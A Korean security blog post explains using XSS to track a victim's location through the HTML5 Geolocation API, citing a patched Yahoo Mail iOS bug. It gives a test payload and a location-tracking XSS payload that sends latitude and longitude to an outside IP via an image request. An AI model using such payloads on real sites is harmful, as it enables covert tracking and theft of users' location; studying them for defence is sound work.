보통, XSS를 발견하게 되면 타 사용자 세션정보를 탈취하거나(document.cookie) 악성 사이트로의 리다이렉트 공격(document.loaction)을 일반적으로 수행하게 됩니다.
하지만, 그 외에도 위치저보를 출력할 수 있습니다. 이는 HTML5에 도입된 자바스크립트 API인 Geolocation API을 이용하면 가능하게 됩니다.
자세한 내용은 아래의 링크를 통해 알아보자.
Geolocation API(GPS)
https://www.zerocho.com/category/HTML&DOM/post/59155228a22a5d001827ea5d
조금 유의할 점이 있다고 하면, 일부 브라우저와 모바일 웹에서는 speed나 altitude 같은 것을 지원해주지 않는 경우가 많다고 합니다. 위도와 경도의 변화를 이용해서 거리를 찾을 수 있고, 속도 = 거리 / 시간이기 때문에 이 공식을 활용해서 speed를 찾으면 됩니다. altitude는 지원하지 않으면 찾을 수 없습니다. 참고로 크롬에서는 https와 localhost에서만 동작합니다. 개인정보 보호 및 보안을 위해 그렇게 조치한 것 같습니다.
#1. Sample Code
#2. Sample Code
아래의 XSS Payload(location)는 야후에서 6월초 발생했던 취약점으로 현재는 패치가 진행되었습니다. 생각보다 사용자 입력값에 대한 필터링이 1차적으로 구현되어 있는 경우가 많습니다. 다양한 도메인을 스캔해보기 전에 사이트별 필터링 정책이 어느정도 Depth로 이루어져 있는지 파악해보는 것이 중요합니다.
Step 1) XSS 가능성 확인
“> <img src = x onerror =”a = alert; a (1);”. jpg |
Step 2) location tracking XSS Payload
' "> <img src ="x "onerror ="v = prompt; navigator.geolocation.watchPosition (function (loc) {m ='위치 latitiude '+ loc.coords.latitude +'long titue '+ loc.coords.longitude ; v (m); b = document.createElement ( 'img'); b.src = 'http / 104.131.35.19? c ='+ m;}) "> |
위와 같은 Payload를 통해 희생자의 위치 추척이 가능하게 됩니다.
https://medium.com/@kminthein/stored-xss-in-yahoo-mail-ios-app-3500-6b40e86358b9
[WEB] Bypass XSS(Quotation&apstrophe filtering) with JS Regular expression (0) | 2020.05.29 |
---|---|
[Web/Mobile] 코로나19관련 화상회의 시 보안 고려사항(금융보안원 기준) (0) | 2020.04.12 |
[Web] FileUpload 취약점_Inject Malicious Code to PHP-GD Image (0) | 2020.04.07 |
[Web] XSS WAF&character limitation bypass (0) | 2020.04.07 |
[Proxy] Ultrasurf Setting (0) | 2020.03.26 |